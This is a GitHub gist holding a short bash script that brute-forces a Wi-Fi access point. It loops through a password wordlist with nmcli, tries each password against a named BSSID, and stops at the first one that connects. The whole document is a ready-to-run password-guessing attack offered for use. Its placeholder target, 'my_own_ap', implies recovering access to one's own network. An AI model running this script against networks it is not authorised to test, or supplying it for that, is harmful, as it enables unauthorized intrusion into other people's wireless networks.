Skip to content

Instantly share code, notes, and snippets.

@ia
Created June 5, 2021 18:07
Show Gist options
  • Save ia/ce74c07c7006e955607546ee2a107467 to your computer and use it in GitHub Desktop.
Save ia/ce74c07c7006e955607546ee2a107467 to your computer and use it in GitHub Desktop.
Brute-force AP with known BSSID with passwords from passwords.txt file
#!/usr/bin/env bash
#set -e
#set -x
# Target AP BSSID name
TARGET_AP="my_own_ap"
# Relative/absolute file path to a file with a list of passwords
# (file format: one line - one password, no comments nor anything else)
PASSWORD_LIST="passwords.txt"
# Time (in seconds) for trying a connection with each next password to AP
# (e.g., if AP processes authentication slowly - increase, fast - decrease)
TIMEOUT=5
cat "${PASSWORD_LIST}" | while read password; do
nmcli --wait "${TIMEOUT}" device wifi connect "${TARGET_AP}" password "${password}"
if [ "${?}" -ne 0 ]; then
echo "FAIL: ${password}"
else
echo "PASS: ${password}"
exit 0;
break;
fi;
done;
echo "SORRY! Try another wordlist for AP ${TARGET_AP}"
exit 0;
# Close delayed NetworkManager password request message boxes once it's done just by clicking "Cancel" on them
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment